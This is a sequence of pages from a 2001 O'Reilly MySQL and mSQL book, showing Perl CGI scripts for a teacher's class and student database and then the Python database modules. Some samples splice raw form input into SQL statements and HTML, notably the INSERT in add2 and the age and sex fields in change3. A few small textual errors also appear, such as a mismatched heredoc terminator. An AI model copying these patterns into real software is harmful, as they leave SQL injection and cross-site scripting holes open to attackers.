  • Search for a subject in the database.

  • Show the subject that is the result of a search.

  • Add a new subject to the database.

  • Change the values of a subject in the database.

With the power of Perl and mSQL, we can easily consolidate all of these functions into one file, subject.cgi. We can do this by separating each operation into its own function. The main portion of the program will be a switchboard of sorts that directs incoming requests to the proper function. We will describe the actions themselves later.

# Each of the different parts of the script is selected via the
# 'action'
# parameter. If no 'action' is supplied, the default() function is
# called.
# Otherwise the appropriate function is called.
&default if not param('action');
# This trick comes from Camel 2 and approximates the 'switch'
# feature of C.
foreach[AO4] (param('action')) {
   /view/ and do { &view; last; };
   /add$/ and do { &add; last; };
   /add2/ and do { &add2; last; };
   /add3/ and do { &add3; last; };
   /add4/ and do { &add4; last; };
   /schange$/ and do { &schange; last; };
   /schange2/ and do { &schange2; last; };
   /lchange$/ and do { &lchange; last; };
   /lchange2/ and do { &lchange2; last; };
   /lchange3/ and do { &lchange3; last; };
   /delete/ and do { &delete; last; };
   &default;
}

NOTE

The "add," "schange," and "lchange" entries must have an anchoring "$" in the regular expression so that they do not match the other functions similar to them. Without the "$", "add" would also match add2, add3 and add4. An alternative method would be to place "add," "schange," and "lchange" after the other functions. That way they would only be called if none of the others matched. However, this method could cause trouble if other entries are added later. A third method would be to completely disambiguate all of the entries using /^view$/, /^add$/, etc. This involves slightly more typing but removes all possibility of error.

Now all we have to do is fill in the details by implementing each function.

The default function prints out the initial form seen by the user. This is the form that allows the user to choose which action to perform. This function is called if the CGI program is accessed without any parameters, as with http://www.myserver.com/teach/subject.cgi, or if the ACTION parameter does not match any of the existing functions. An alternative method would be to create a function that prints out an error if the ACTION parameter is unknown.

sub default {
   print header, start_html('title'=>'Subjects','BGCOLOR'=>'white');
   print <<END_OF_HTML;
<h1>Subjects</h1>
<p>Select an action and a subject (if applicable).
<FORM ACTION="subject.cgi" METHOD=POST>
<p><SELECT NAME="action">
<OPTION VALUE="view">View a Subject
<OPTION value="add">Add a Subject
<OPTION value="schange">Modify a Subject
<OPTION value="lchange" SELECTED>Modify a Class List
<OPTION value="delete">Delete a Subject
</select>
END_OF_HTML
   # See 'sub print_subjects' below.
   &print_subjects;
   print <<END_OF_HTML;
<p>
<INPUT TYPE=SUBMIT VALUE=" Perform Action ">
<INPUT TYPE=RESET>
</form></body></html>
HTML

}

There are five main actions: "view," "add," "schange" (change the information about a subject), "lchange" (change the class list for a subject), and "delete". For illustration, we will examine the "add" action in detail here. The "add" action is broken up into four separate functions because interaction with the user is required up to four times. Hidden variables are used to pass information from form to form until the class is finally created.

The first add function generates the form used to enter the initial information about the class, including its name, the teacher's name, and the number of students in the class.

sub add {
   my (%fields);
   foreach ('name','size','teacher') {
      if (param($_)) { $fields{$_} = param($_); }
      else { $fields{$_} = ""; }
   }

   print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');
   print <<END_OF_HTML;
<H1>Add a Subject</h1>
<form METHOD=POST ACTION="subject.cgi">
<p>
Subject Name: <input size=40 name="name" value="$fields{'name'}"><br>
Teacher's Name: <input size=40 name="teacher" value="$fields{'teacher'}"><br>
Number of Students in Class: <input size=5 name="size" value="$fields{'size'}">
<p>
<INPUT TYPE=HIDDEN NAME="action" VALUE="add2">
<INPUT TYPE=SUBMIT VALUE=" Next Page ">
<INPUT TYPE=RESET>
</form>
<p>
<A HREF="subject.cgi">Go</a> back to the main Subject page.<br>
<A HREF=".">Go</a> to the Teacher's Aide Home Page.
</body></html>
END_OF_HTML

}

The function checks to see if any of the fields have preassigned values. This adds extra versatility to the function in that it can now be used as a template for classes with default values -- perhaps generated by another CGI program somewhere.

The values from the first part of the add process are passed back to CGI program into the add2 function. The first thing that add2 does is check whether the class already exists. If it does, an error message is sent to the user and he or she can change the name of the class.

If the class does not already exist, the function checks how many students were entered for the class. If none were entered, the class is created without any students. The students can be added later. If the number of students was specified, the class is created and a form is displayed where the user can enter the information about each student.

sub add2 {
   ...
   my $name = param('name');
   # We need one copy of the name that is encoded for the URL.
   my $enc_name = &cgi_encode($name);
   # We also need a copy of the name that is quoted safely for insertion
   # into the database. Msql provides the Msql::quote() function for that
   # purpose.
   my $query_name = $dbh->quote($name);

   # We now build a query to see if the subject entered already exists.
   my $query =
      "select id, name, teacher from subject where name=$query_name";

   # If the user supplied a teacher's name, we check for that teacher
   # specifically, since there can be two courses with the same name but
   # different teachers.
   if (param('teacher')) {
      $teacher = param('teacher');
      $enc_teacher = &cgi_encode($teacher);
      my $query_teacher = $dbh->quote($teacher);
      $query .= " and teacher=$query_teacher";
   }

   # Now we send the query to the mSQL server.
   my $out = $dbh->query($query);
   # We check $out->numrows to see if any rows were returned. If
   # there were any, and the user didn't supply an 'override'
   # parameter, then we exit with a message that the class already
   # exists, and giving the user a change to enter the class anyway
   # (by resubmitting the form with the 'override' parameter set.
    if ($out->numrows and not param('override')) {
      # Print 'Class already exists' page.
      ...
   } else {
      # Now we enter the information into the database.
      # First, we need to select the next number from the
      # table's sequence.
      $out = $dbh->query("select _seq from subject");
      my ($id) = $out->fetchrow;

      # Then we insert the information into the database, using
      # the sequence number we just obtained as the ID.
      $query = "INSERT INTO subject (id, name, teacher)
         VALUES ($id, '$name', '$teacher')";
      $dbh->query($query);

      # If the user did not specify a class size, we exit with
      # a message letting the user know that he or she can add
      # students later.
      if (not param('size')) {
         # Print success page.
         ...
      } else {
         # Now we print a form, allowing the user to enter the
         # names of each of the students in the class.
         print header, start_html('title'=>'Create Class List',
            'BGCOLOR'=>'white');
         print <<END_OF_HTML;
<H1>Create Class List</h1>
<P>
<B>$name</b> has been added to the database. You can
now enter the names of the students in the class.
You may add or drop students later from the
<a href="subject.cgi">main
Subject page</a>.
<p>
<FORM METHOD=POST ACTION="subject.cgi">
<INPUT TYPE=HIDDEN NAME="action" VALUE="add3">
<INPUT TYPE=HIDDEN NAME="id" VALUE="$id">
<TABLE BORDER=0>
<TR><TH><TH>First Name<TH>Middle Name/Initial
<TH>Last Name<TH>Jr.,Sr.,III,etc
</tr>
END_OF_HTML
         for $i (1..$size) {
         print <<END_OF_HTML;
<TR><TD>$i<TD><INPUT SIZE=15 NAME="first$i"><TD><INPUT SIZE=15
NAME="middle$i">
        <TD><INPUT SIZE=15 NAME="last$i"><TD><INPUT SIZE=5
NAME="ext$i"></tr>
END_OF_HTML

         }
         print <<END_OF_HTML;
</table>
<INPUT TYPE=SUBMIT VALUE=" Submit Class List ">
<INPUT TYPE=RESET>
</form></body></html>
END_OF_HTML

      }
   }
}

Note that the function used three copies of the name parameter. To use a variable as part of a URL, all special characters must be URL-escaped. A function called cgi_encode is provided with the code for this example which performs this operation. Secondly, to insert a string into the mSQL database, certain characters must be escaped. The MsqlPerl interface provides the function quote -- accessible through any database handle -- to do this. Finally, an unescaped version of the variable is used when displaying output to the user.

When adding the class to the database, mSQL's sequence feature comes in handy. Remember that a sequence was defined on the class table. The values of this sequence are used as the unique identifiers for each class. In this way two classes can have the same name (or same teacher, etc.) and still be distinct. This also comes in handy when modifying the class later. As long as the unique ID is passed from form to form, any other information about the class can safely be changed.

Finally, notice that the student entry form displayed by this function is dynamically generated. The number of students entered for the class is used to print out a form with exactly the right number of entries. Always remember that the CGI program has complete control over the generated HTML. Any part, including the forms, can be programmatically created.

If the user did not enter any students for the class, we are now finished. The user can use the change feature to add students later. However, if students were requested, the information about those students is passed onto the stage in the add3 function, as shown in the following:

sub add3 {
   if (not param('id')) { &end("An ID number is required"); }
   my $id = param('id');

   my @list = &find_last_student;
   my ($ref_students,$ref_notstudents) =
&find_matching_students(@list);

   @students = @$ref_students if $ref_students;
   @notstudents = @$ref_notstudents if $ref_notstudents;

   if (@notstudents) {
      # Print form telling the user that there are nonexisting
      # students in the list. The user can then automatically create
      # the students or go back and fix any typos.
      ...
   } else {
      &update_students($id,@students);
      # Print success page.
      ...
   }
}

The bulk of this function's work is performed by other functions. This is because other parts of the CGI program have similar needs so it is efficient to factor the common code into shared functions. The first such function is find_last_student, which examined the form data and returns a list of the form numbers -- the form numbers are not related to the ID numbers in the database -- of each student entered by the user. This is necessary because, as mentioned earlier, the previous form is dynamically generated and there is no way to immediately know how many students are included.

sub find_last_student {
   my @params = param;
   my @list = ();
   foreach (@params) {
      next if not param($_); # Skip any 'empty' fields
      if (/^(first|middle|last|ext)(\d+)/) {
         my $num = $2;
         if (not grep(/^$num$/,@list)) { push(@list,$num); }
      }
   }
   @list = sort { $a <=> $b} @list;
   return @list;
}

Note that the function returns all of the numbers, not just the last number -- which would presumably be the number of students entered. Even though the previous form printed out the number of entries the user requested, there is no guarantee that the user filled all of them out. He or she may have missed or skipped a row, which would not be included with the form data. Therefore, it is necessary to find out each number that was entered. The output of this function is then sent to the next "helper" function: find_matching_students, as shown in the following:

sub find_matching_students {
   my @list = @_;
   my ($i,@students,@notstudents);
   @students = ();
   @notstudents = ();
   if (@list) {
      foreach $i (@list) {
         my @query = ();
         # Build a query that looks for a specific student.
         my $query = "select id, subjects from student where ";
         foreach ('first','middle','last','ext') {
            if (param("$_$i")) {
               my $temp = param("$_$i");
               # Single quotes are the field delimiters for mSQL (and MySQL),
               # so they must be preceded with the escape character "\",
               # which is escaped itself so that it is interpreted literally.
               $temp =~ s/'/\\'/g;
               push(@query,"$_ = '$temp'");
            }
         }
         $query .= join(" and ",@query);

         # Send the query to the database.
         my $out = $dbh->query($query);
         # If the database doesn't return anything, add the
         # student to the @notstudents array.
         if (not $out->numrows) {
            push(@notstudents,[ param("first$i"),
            param("middle$i"),
            param("last$i"), param("ext$i") ]);
            # Otherwise add the student to the @students array.
         } else {
            my ($id,$subjects) = $out->fetchrow;
            push(@students,[$id,$subjects]);
         }
      }
   }
   return(\@students,\@notstudents);
}

This function goes through each of the given student names and checks the database to see if they already exist. If they do exist their information is stored in an array called @students, otherwise they are put in @notstudents. The information about each student is kept in an anonymous array, creating a student object of sorts. Finally the function returns references to both of the arrays. It cannot return the data as regular arrays because there would be no way to tell where one array ended and the other began.

The final helper function is update_students, which adds the class to each existing student's list of classes.

sub update_students {
   my $id = shift;
   my @students = @_;
   foreach (@students) {
      my($sid,$subjects)=@$_;
      if (not $subjects) { $subjects = ":$id:"; }
      elsif ($subjects !~ /:$id:/) { $subjects .= "$id:"; }
      my $query = "update student set subjects='$subjects'
         where id=$id";
      $dbh->query($query);
   }
}

This function queries the student table, which is entirely separate from the subject table. Within a single CGI program, you can interact with any number of different tables within a database. You can even switch between databases, but you can only have one database selected at a time. This function retrieves the subject list for each given student and adds the new subject to their list if it is not there already.

At this point all contingencies are taken care of except for the case where the subject has students that do not already exist in the student table. For this case, the list of new students are sent to the add4 function as shown in the following:

sub add4 {
        # Get list of @students and @notstudents
        &update_students($id,@students) if @students;
        &insert_students($id,@notstudents) if @notstudents;

        # Print success page.
}

This function separates the list of students into existing and nonexisting students using the same method as add3. It then updates the existing students using update_students shown earlier. Nonexisting students, shown in the following, are sent to the new helper function insert_students:

sub insert_students {
   foreach $i (@list) {
      # This selects the next number in the sequence defined on the
      # table. We then use this number as the ID of the student.
      my $out = $dbh->query('select _seq from student');
      my($sid) = $out->fetchrow;

      # We have to quote all of the text strings for inclusion
      # in the database.
      my ($first, $middle, $last, $ext) = (
         $dbh->quote(param("first$i")),
         $dbh->quote(param("middle$i")),
         $dbh->quote(param("last$i")),
         $dbh->quote(param("ext$i"))
      );
      my $query = "insert into student (id, first, middle, last,
         ext, subjects) VALUES ($sid, $first, $middle,
         $last, $ext, ':$id:')";
      $dbh->query($query);
   }
}

This function again accesses the student table rather than the subject table. An ID number for the new students is retrieved from the sequence defined on the student table, and then the student is inserted into the table using that ID.

Previous | Home | Next
10.2. An Example DBI Application | Book Index | 10.4. MysqlPerl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MysqlPerl (MySQL & mSQL)

 MySQL and mSQLSearch this book

10.4. MysqlPerl

Monty Widenius, the author of MySQL, also wrote the Perl interface to MySQL, Mysql.pm. This was based on the mSQL module, Msql.pm. Thus, the interfaces of the two modules are almost identical. In fact, we recently converted an entire site from mSQL to MySQL by running "perl -e 's/^Msql/Mysql/" *.cgi" in every directory containing a CGI. This covers 95% of the work involved. Of course, this does not give you any of the advantages of MySQL, but it is a quick and easy way to start down the road to MySQL. Mysql.pm is maintained as part of msql-mysql-modules by Jochen Wiedmann.

NOTE

One of the largest differences between MySQL and mSQL is the way they handle sequences. In mSQL, a sequence is defined on a table with a command like CREATE SEQUENCE on tablename. The sequence value is then read as if it were a normal table value with the command SELECT _seq from tablename. MySQL adds the flag AUTO_INCREMENT to the primary key. Whenever a null value is inserted into this field, it is automatically incremented. Both MySQL and mSQL allow only one sequence per table. For a full discussion on sequences in MySQL and mSQL, see Chapter 6, "SQL According to MySQL and mSQL".

As an example of some of the features of Mysql.pm, let's go back to the tests example. Now that we have subject.cgi taken care of, the next step is the table of student information. The structure of the students table is as follows:

CREATE TABLE student (
  id INT NOT NULL auto_increment,
  first VARCHAR(50),
  middle VARCHAR(50),
  last VARCHAR(50),
  ext VARCHAR(50),
  subjects VARCHAR(100),
  age INT,
  sex INT,
  address BLOB,
  city VARCHAR(50),
  state VARCHAR(5),
  zip VARCHAR(10),
  phone VARCHAR(10),
  PRIMARY KEY (id)
)

All of the information used by the subject.cgi program is in this table, as well as other information pertaining to the student. The program that handles this table, student.cgi must perform all of the functions that subject.cgi did for the subject table.

NOTE

It is not possible to access a mSQL database with the Mysql.pm module, or MySQL with Msql.pm. The student.cgi program expects to find a MySQL version of the subjects table. Likewise, the subject.cgi program expects an mSQL version of the students table.

To illustrate the operation of Mysql.pm, we will examine in detail the portion of student.cgi that enables a user to change the information about a student. Just like the "add" action in the Msql.pm example was broken up into four separate functions, the "change" action here is separated into three individual functions.

The first function, change, prints out a form that allows the user to search for a student to change, as shown in the following:

sub change {
   print header, start_html('title'=>'Student Change Search',
      'BGCOLOR'=>'white');
   &print_form('search2','Search for a Student to Change',1);
   print <<END_OF_HTML;
<p>
<INPUT TYPE=HIDDEN NAME="subaction" VALUE="change2">
<INPUT TYPE=SUBMIT VALUE=" Search for Students ">
 <INPUT TYPE=SUBMIT NAME="all" VALUE=" View all Students ">
 <INPUT TYPE=RESET>
</form></body></html>
END_OF_HTML
}

The form used for searching for a student to "change" is so similar to the form used to searching for a student to "view" and the one to "add" a student that a single function, print_form, is used for all three purposes, as shown in the following:

sub print_form {
   my ($action,$message,$any) = @_;

   print <<END_OF_HTML;
<FORM METHOD=post ACTION="students.cgi">
<INPUT TYPE=HIDDEN NAME="action" VALUE="$action">
<H1>$message</h1>
END_OF_HTML
   if ($any) {
      print <<END_OF_HTML;
<p>Search for <SELECT NAME="bool">
<OPTION VALUE="or">any
<OPTION VALUE="and">all
</select> of your choices.
END_OF_HTML
   }
   print <<END_OF_HTML;
<p>
First: <INPUT NAME="first" SIZE=20>
 Middle: <INPUT NAME="middle" SIZE=10>
 Last: <INPUT NAME="last" SIZE=20>
 Jr./III/etc.: <INPUT NAME="ext" SIZE=5>
<br>
Address: <INPUT NAME="address" SIZE=40><br>
City: <INPUT NAME="city" SIZE=20>
 State: <INPUT NAME="state" SIZE=5>
 ZIP: <INPUT NAME="zip" SIZE=10><br>
Phone: <INPUT NAME="phone" SIZE=15><br>
Age: <INPUT NAME="age" SIZE=5> Sex: <SELECT NAME="sex">
END_OF_HTML
   if ($any) {
      print <<END_OF_HTML;
<OPTION VALUE="">Doesn't Matter
END_OF_HTML
   }
   print <<END_OF_HTML;
<OPTION VALUE="1">Male
<OPTION VALUE="2">Female
</select><br>
<p>
Enrolled in:<br>
END_OF_HTML
   &print_subjects("MULTIPLE SIZE=5");

}

By using three parameters, this function customizes a form template so that it can be used for several very different purposes. Notice that this helper function calls another helper function, print_subjects. This function queries the subject table as seen in the Msql.pm example and prints out a list of all of the available subjects.

sub print_subjects {
   my $modifier = "";
   $modifier = shift if @_;
   print qq%<SELECT NAME="subjects" $modifier>\n%;
   my $out = $dbh->query("select * from subject order by name");
   while(my(%keys)=$out->fetchhash) {
      print qq%<OPTION VALUE="$keys{'id'}">$keys{'name'}\n%;
   }
   print "</select>\n";
}

The search parameters entered in this first form are then sent to the search2 function, which actually performs the search. This is actually the function written to search for a student to view. Since its function is exactly what we need, we can piggy-back off of it as long as we tell it that we want to go to the next change function, change2, after the search. That is why we have the hidden variable subaction=change2 in the form. It tells search2, as shown in the following, where to send the user next:

sub search2 {
   my $out = $dbh->query(&make_search_query);
   my $hits = $out->numrows;
   my $subaction = "view";
   $subaction = param('subaction') if param('subaction');
   print header, start_html('title'=>'Student Search Result',
      'BGCOLOR'=>'white');

   if (not $hits) {
      print <<END_OF_HTML;
<H1>No students found</h1>
<p>
No students matched your criteria.
END_OF_HTML
   } else {
      print <<END_OF_HTML;
<H1>$hits students found</h1>
<p>
<UL>
END_OF_HTML
      while(my(%fields)=$out->fetchhash) {
         print qq%<LI>
<A HREF="students.cgi?action=$subaction&id=$fields{'id'}">$fields{'first'}
 $fields{'middle'} $fields{'last'}%;
         print ", $fields{'ext'}" if $fields{'ext'};
         print "\n</a>";
      }
   }
   print <<END_OF_HTML;
</ul>
<p>
<A HREF="students.cgi?action=search">Search</a> again.
</body></html>
END_OF_HTML
}

With help from the make_search_query function, this function first searches for students that match the search term. It then displays a list of the matches from which the user can select. The ID number of the selected entry is then sent to the change2 function, as shown in the following:

sub change2 {
      my $out = $dbh->query("select * from student where id=$id");

      my($did,$first,$middle,$last,$ext,$subjects,$age,$sex,$address,
         $city,$state,$zip,$phone) = $out->fetchrow;

      my @subjects = split(/:/,$subjects);
      shift @subjects;
      my $name = "$first $middle $last";
      if ($ext) { $name .= ", $ext"; }

      print header, start_html('title'=>"$name",'BGCOLOR'=>'white');
      print <<END_OF_HTML;
<H1>$name</h1>
<p>
<FORM ACTION="students.cgi" METHOD=POST>
<INPUT TYPE=HIDDEN NAME="action" VALUE="change3">
<INPUT TYPE=HIDDEN NAME="id" VALUE="$id">
First: <INPUT NAME="first" VALUE="$first" SIZE=20>
Middle: <INPUT NAME="middle" VALUE="$middle" SIZE=10>
Last: <INPUT NAME="last" VALUE="$last" SIZE=20>
Jr./III/etc.: <INPUT NAME="ext" VALUE="$ext" SIZE=5>
<br>
Address: <INPUT NAME="address" VALUE="$address" SIZE=40><br>
City: <INPUT NAME="city" VALUE="$city" SIZE=20>
State: <INPUT NAME="state" VALUE="$state" SIZE=5>
ZIP: <INPUT NAME="zip" VALUE="$zip" SIZE=10><br>
Phone: <INPUT NAME="phone" VALUE="$phone" SIZE=15><br>
Age: <INPUT NAME="age" VALUE="$age" SIZE=5> Sex:
END_OF_HTML
      my %sexes = ( '1' => 'Male',
         '2' => 'Female'
      );
      print popup_menu('name'=>'sex',
         'values'=>['1','2'],
         'default'=>"$sex",
         'labels'=>\%sexes);
      print <<END_OF_HTML;
<p>
Enrolled in:<br>
END_OF_HTML
      my @ids = ();
      my %subjects = ();
      my $out2 = $dbh->query("select id,name from subject order by name");
      while(my($id,$subject)=$out2->fetchrow) {
         push(@ids,$id);
         $subjects{"$id"} = $subject;
      }
      print scrolling_list('name'=>'subjects',
         'values'=>[@ids],
         'default'=>[@subjects],
         'size'=>5,
         'multiple'=>'true',
         'labels'=>\%subjects);
      print <<END_OF_HTML;
<p>
<INPUT TYPE=SUBMIT VALUE=" Change Student ">
 <INPUT TYPE=SUBMIT NAME="delete" VALUE=" Delete Student ">
 <INPUT TYPE=RESET>
</form></body></html>
END_OF_HTML
}

The primary purpose of this function is to print out a form very similar to the one generated from print_from. However, the values of this form must have the values of the chosen student preinserted as default values. This way, the user can edit whichever fields of the student he or she wishes without changing the rest.

A couple of functions provided by the CGI.pm module come in very handy when printing form with default values. Most importantly, the function CGI::scrolling_list prints out an HTML <SELECT> block with the parameters you provide. Among other parameters, the function takes the parameters values, default, and labels which are references to the values of each <OPTION> tag, the ones which should be preselected and the labels that user sees respectively.

The output of this function is a complete set of information, just as if it were coming from an add form. The difference is that the data is for a student which already exists in the database. The change3 function accepts this data and updates the student, as shown in the following:

sub change3 {
   if (param('delete')) { &delete2($id); }
   else {
      my $query = "update student set ";
      my @query = ();
      foreach ('first', 'middle', 'last', 'ext', 'address', 'city',
         'state', 'zip', 'phone') {
         if (param($_)) { push(@query,"$_ = ".
            $dbh->quote(param($_)));
         }
      }
      push(@query,"age=".param('age')) if param('age');
      push(@query,"sex=".param('sex')) if param('sex');

      my $subjects = "':";
      $subjects .= join(":",param('subjects'));
      $subjects .= ":" unless $subjects eq "':";
      $subjects .= "'";
      push(@query,"subjects=$subjects");

      $query .= join(", ",@query) . " where id=$id";
      $dbh->query($query);

      print header, start_html('title'=>'Student Changed',
         'BGCOLOR'=>'white');
      # Print success form
      ...
   }
}

Note that if the user chose the "Delete" button on the change page, this function automatically passes the ball to the delete function. This is one major advantage of integrating several functions into one program. If no user interaction is required, you can skip from function to function without sending redirect messages to the user.

The rest of this function is fairly straightforward. The information about the student is gathered into an UPDATE query, which is sent to the MySQL server. A success page is then sent to the user.

Previous | Home | Next
10.3. Msql.pm | Book Index | 11. Python
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Python (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 11. Python

Contents:

Basic Connectivity
Dynamic Connectivity

If you are not familiar with Python and you do a lot of Perl programming, you definitely want to take a look at it. Python is an object-oriented scripting language that combines the strengths of languages like Perl and Tcl with a clear syntax that lends itself to applications that are easy to maintain and extend. The O'Reilly & Associates, Inc. book Learning Python by Mark Lutz and David Asher provides an excellent introduction into Python programming. This chapter assumes a working understanding of the Python language, including the ability to add new modules into a Python installation.

The Python support for the MySQL and mSQL databases that we are exploring in this chapter comes in the form of two Python modules. At the time of this book's printing, the mSQL module was available at http://www.python.org and the MySQL module at http://www.mysql.com. While there are several other modules providing MySQL and mSQL access to Python applications, they -- like these two -- are mostly API variations on the MySQL and mSQL C APIs. You need to install one or both of these modules in order to access your database of choice and run the examples in this chapter.

Both APIs are virtually the same. We will, therefore, approach both modules together and note where they differ.

11.1. Basic Connectivity

The Python APIs are likely the simplest database APIs of any in this book. As with the other APIs, we need to start with database connectivity -- making the connection. Because Python has an interactive interface, the simplest way to demonstrate a connection is by using the command line interpreter. The following two Python sessions demonstrate simple database connections to MySQL and mSQL, respectively. The first example shows MySQL connectivity:

[4:30pm] athens> python
Python 1.5.1 (#1, Jun 13 1998, 22:38:15)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import MySQL;
>>> db = MySQL.connect('athens.imaginary.com');
>>> db.selectdb('db_test');
>>> result = db.do('select test_val from test where test_id = 1');
>>> print result;
[['This is a MySQL test.']]
>>>

The mSQL code that does the same thing looks nearly identical:

[4:30pm] athens> python
Python 1.5.1 (#1, Jun 13 1998, 22:38:15)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import mSQL;
>>> db = mSQL.connect('athens.imaginary.com');
>>> db.selectdb('db_test');
>>> result = db.query('select test_val from test where test_id = 1');
>>> print result;
[('This is a mSQL test.',)]
>>>

In both cases, your first task is to import the appropriate Python module. You should not use the from mSQL import * syntax since this import will pollute the namespace of your application. Instead, you should get a database handle instance via the connect() method in each module and perform your database access through that database handle.

The connect() call for both APIs is similar, though not identical. In the previous MySQL session, we are connecting to a database that allows global access. Because no user name or password is required, the connect() call for the MySQL session looks similar to the call for the mSQL session. You can, however, specify user name and password arguments when required by your MySQL database. For example, db = MySQL.connect('athens.imaginary.com', 'myuid', 'password'); will connect you to the MySQL server at athens.imaginary.com as the user "myuid" using the password "password." Neither API even requires a host name if you are connecting to the local machine. In such situations, they are smart enough to use a Unix domain socket (on Unix systems) for quicker connectivity.

The C API connection process is a two step process that requires you first to connect to the server, and then select which database you want to use. The Python APIs follow the same steps. In fact, under both MySQL and mSQL, the APIs for selecting a database are practically identical: selectdb(). For most uses, you will only ever pass this method a single parameter -- the database name. MySQL does support an optional second parameter that enables you to direct result set data storage to stay on the server until each row is requested. You would only want to use this version of the API when you are on a client where you know memory is limited or are retrieving unusually large result sets.

11.1.1. Queries

The two APIs differ slightly in the way you send statements to the database and how you deal with whatever you get back. The mSQL API is very simple with no support for cursor management. The MySQL API, on the other hand, supports the simple mSQL API along with a more complex set of APIs that more accurately mirror the C API and provide cursor support. In the Python world, cursor support is of dubious value since neither database allows in-place edits and the simpler API shown in the interactive sessions above allows you to navigate back and forth through a result set as easily as a cursor. We will, however, find a use for the cursor API later in the chapter because the same API that provides cursor support also gives us support for dynamic database access.

mSQL and the simple form of the MySQL API enable an application to query a database and get results in the form of a list. Unfortunately, the two APIs have two trivial, but annoying, differences in how you do this. First of all, the mSQL query method is called query() and the MySQL one is called do(). Each method accepts any SQL string as an argument. If the statement produces a result set, that result set is returned in the form of a list: a list of tuples for mSQL and a list of lists for MySQL.

For most uses, the difference in the return types is meaningless -- tuples are immutable. The code will almost always appear the same. You should nevertheless be aware that MySQL rows are lists and mSQL rows are tuples in the event you encounter a situation where the difference is relevant. Example 11-1 is a simple Python program that accesses MySQL and mSQL databases and prints out the results.

Example 11-1. Query Processing in Python for mSQL and MySQL

#!/usr/local/bin/python

# Import the modules
import mSQL, MySQL;

# Initialize database and query values
database = 'db_test';
query = 'SELECT test_id, test_val FROM test';

# Connect to the servers
msql = mSQL.connect();
mysql = MySQL.connect();

# Select the test databases
msql.selectdb(database);
mysql.selectdb(database);

# Run the query
m_result = msql.query(query);
my_result = mysql.do(query);

# Process the results from mSQL
for row in m_result:
    # Here, row is a tuple
    print "mSQL- test_id: ",row[0]," | test_val: ",row[1];

# Process the results from MySQL
for row in my_result:
    # Here, row is a list
    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

# Close the connections (mSQL only)
msql.close();

For both the MySQL and mSQL databases, the application loops through each row from the result set and prints out its data. Under mSQL, the first element in the tuple represents the first column from the query and the second element the second column. Similarly, the first element in the MySQL list represents the first column from the query and the second element the second column.

11.1.2. Updates

Issuing an update, insert, or delete to the database uses the same API as queries -- you just don't need any result set processing. In other words, call query() or do() and do nothing else. MySQL does have the added functionality of returning the AUTO_INCREMENT value of the table in question has an AUTO_INCREMENT field.

Previous | Home | Next
10.4. MysqlPerl | Book Index | 11.2. Dynamic Connectivity
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dynamic Connectivity (MySQL & mSQL)

 MySQL and mSQLSearch this book

11.2. Dynamic Connectivity

The API we have discussed so far in the chapter is really all you need for the simple, but most common database access of every day select, insert, update, and delete calls. Some more complex applications, however, may require that you not know everything -- or perhaps anything -- about the database to which you are connecting and the statements you are sending to it. While both APIs support database-level meta-data -- runtime information about the database to which you are connected -- only the MySQL API provides full support for dynamically generated SQL calls, including result set meta-data.

11.2.1. MySQL Statement Handlers

As we noted earlier, MySQL has two query processing tools. The simple form returns a result set in the form of a list of lists. The more complex form returns a statement handler.

A statement handler represents the results of a MySQL query handled via the query() method (as opposed to using the do() method). Example 11-1 shows how you can use the statement handler to generate runtime information about a query or update.

Example 11-1. Dynamic Database Access Using a MySQL Statement Handler

[7:20pm] athens> python
Python 1.5.1 (#1, Jun 13 1998, 22:38:15)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import MySQL;
>>> db = MySQL.connect();
>>> db.selectdb('db_test');
>>> result = db.query("INSERT INTO test(test_id,test_val) VALUES(4, 'Bing!')");
>>> print result.affectedrows();
1
>>> result = db.query("SELECT * FROM test");
>>> print result.numrows();
3
>>> print result.fields();
[['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string', 100, '']]
>>> print result.fetchrows(-1);
[[1, 'This is a test.'], [2, 'This is a test.'], [4, 'Bing!']]
>>>

With the statement handler, you now have access to the number of rows affected by an update, insert, or delete in addition to a set of data about result sets from queries. In Example 11-1, we accessed the number of rows retrieved by a query and detailed information about the columns represented in the result set.

Of the new methods introduced in Example 11-1, only fetchrows() is not self-evident. This method fetches the next series of rows matching the number passed to it. In other words, if you call result.fetchrows(2), a list of the next two rows will be returned. This method will return a list of all rows -- as in the example above -- if you pass it a number less than 0. Combining this method with a call to seek() enables you to move around a result set. The seek() method accepts an integer parameter specifying which row you wish to work on where represents the first row.

11.2.2. Database Meta-data

Though only the MySQL API supports dynamic result set management (at least at the time of publishing of this book), both APIs support database meta-data through a nearly identical set of methods. Database meta-data is basically information about a database connection. Example 11-1 shows a Python session that interrogates MySQL and mSQL connections about themselves.

Example 11-1. Data

[7:56pm] athens> python
Python 1.5.1 (#1, Jun 13 1998, 22:38:15)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import mSQL, MySQL;
>>> msql = mSQL.connect();
>>> mysql = MySQL.connect();
>>> print msql.listdbs();
['db_test', 'db_web']
>>> print mysql.listdbs();
[['db_test'], ['mysql'], ['test']]
>>> msql.selectdb('db_test');
>>> mysql.selectdb('db_test');
>>> print msql.listtables();
['test', 'hosts']
>>> print mysql.listtables();
[['test']]
>>> print msql.serverinfo;
2.0.1
>>> print mysql.serverinfo();
3.21.17a-beta-log
>>> print mysql.clientinfo();
MySQL-Python-1.1
>>> print msql.hostname;
None
>>> print mysql.hostinfo();
Localhost via UNIX socket
>>> print mysql.stat();
Uptime: 4868410  Running threads: 1  Questions: 174  Reloads: 4  Open tables: 4
>>> print mysql.listprocesses();
None
>>>

In this example, we have a litany of method calls that provide extended information about database connections. In a couple of instances, mSQL provides this information via immutable attributes rather than methods. The MySQL API, on the other hand, provides a lot more information than does the mSQL one. See the reference section, Part III, "Reference", for a full description of each of these methods and attributes.

Previous | Home | Next
11. Python | Book Index | 12. PHP and Other Support for Database-driven HTML
Library Navigation Links

